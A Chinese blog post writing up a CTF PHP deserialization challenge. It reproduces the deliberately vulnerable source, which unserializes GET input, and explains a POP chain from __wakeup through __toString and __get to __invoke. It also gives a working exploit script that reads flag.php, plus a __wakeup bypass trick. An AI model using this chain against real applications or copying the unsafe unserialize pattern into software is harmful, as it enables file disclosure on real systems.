一道反序列化题的分析

题目来源

来自于prontosil师傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more

分析

<?php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }


    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{

    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

这篇文章是无意中手机上看到的文章,真的觉得这种构造链很有意思,所以自己分析了一波。跟这位师傅一样,可能一连串的链已经想好如何构造了,但是就是卡在最关键的一步,最开始的一步如何去调用__toString()呢。下面具体来分析,原文是有注释的,我这里删除了。还没看下文的师傅,自己分析一波看看,没必要直接看分析。

分析

最初始的第一步看需要输入的参数

 

如果存在hello字段输入就会反序列化操作,如果不存在就会new一个show类,构造方法初始index.php,在调用_show(),输出index.php文件

我们分析完最基础的一步,没什么用。主要是反序列化链的构造。

第一层

我们可以看到file_get(),目的就是调用Read类中的file_get读取到flag文件。

 

我们看到test类中的__get()和Read中的__invoke()的魔术方法

 

 

 

_get魔术方法: 当访问类中的私有属性或者是不存在的属性,触发__get魔术方法

__invoke魔术方法 : 当类的一个对象被当作函数调用的时候触发

这里就是要通过__get方法将$p赋值为new Read(),然后将Read作为函数调用就会触发__invoke方法,将$var赋值为flag地址就可以读到flag

那问题来了,如何去触发__get魔术方法呢。

第二层

在Show类中,还有一个__toString()魔术方法,当类作为字符串使用时触发__toString()

 

如果能触发__toString的话,就可以将str['str'] new成Test类,调用source这样Test类不存在的属性时,就触发了__get魔术方法

但是问题又来了,谁来触发__toString()呢

第三层(难点)

第三层我一开始跟这位师傅一样,完全没有想到,__wakeup,之前做的题目一般都是需要绕过__wakeup,因为在反序列化一开始就会调用__wakeup魔术方法,所以一开始就把这个魔术方法作为需要bypass的东西,然后这却是我们最需要利用的最开始的一步。

原因在于preg_match会将$this->source作为字符串来使用,去执行匹配。

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }

因而如果将 source赋值一个new Show类的话,在反序列化一开始调用__wakeup,preg_match触发__toString。这样就达成了上述的条件。

完整的链

preg_match()->__tostring()->__get()->invoke()

exp

这里自己分析完写了一个exp.php

<?php
class Read {
    public $var="flag.php";
}

class Show
{
    public $source;
    public $str;
}

class Test
{

    public $p;

}
$a=new Show(); 
$a->source=$a; //触发__toString
$a->str['str']=new Test();
$a->str['str']->p=new Read();
echo serialize($a);

 

本地phpstudy搭建了一个环境

base64解码得到flag

对于写这篇文章师傅后期分析的绕过__wakeup方法,只要序列化字符串中属性个数大于本身的类的属性个数即可绕过,以前在哪个比赛中已经用过这个绕过。一时想不起来,以至于我一开始看到__wakeup,就觉得需要绕过,而不是去利用。😅。这道题用preg_match将变量作为字符串来触发__toString()很有意思啊。受益匪浅,一直很喜欢这种链的构造。

posted @ 2019-11-12 00:40  yunying  阅读(1279)  评论(0编辑  收藏  举报